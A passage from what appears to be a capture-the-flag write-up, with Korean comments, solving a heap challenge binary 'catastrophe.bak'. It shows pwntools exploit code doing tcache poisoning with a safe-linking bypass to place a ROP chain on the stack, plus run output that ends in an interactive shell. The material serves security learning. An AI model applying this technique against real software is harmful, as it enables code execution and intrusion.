stack = u64(p.recv(8)[:-1].ljust(8, b"\x00")) - 0x130 - 8# - 0x1bebe0 # offset of the unsorted bin
info(f"stack: {hex(stack)}")

# 6.
# free(1) - free(2)이후, malloc(5, 0x130, fake chunk) 구성.
# malloc(2, 0x100, dummy) - malloc(3, 0x100, stack + rop chain) 구성.
free(1) # large
free(2)

malloc(5, 0x130, b"T"*0x108 + p64(0x111) + p64((stack ^ ((heap + 0xb20) >> 12))))
malloc(2, 0x100, b"TT")

# ip()
malloc(3, 0x100, p64(stack) + rop.chain()) # overwrite sRBP for nothing lmao

p.interactive()
  • solve_rop.py result
python3 solve_rop.py
[+] Starting local process './catastrophe.bak': pid 21248
[*] heap @ 0x562d51e2e000
[*] Loaded 219 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
[*] libc: 0x7f477fff1000
[*] environ: 0x7f4780213200
[*] stdout: 0x7f478020c780
[*] stack: 0x7ffcdeec4a50
[*] Switching to interactive mode
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
$ whoami
ubuntu
$ 
[*] Interrupted
[*] Stopped process './catastrophe.bak' (pid 21248)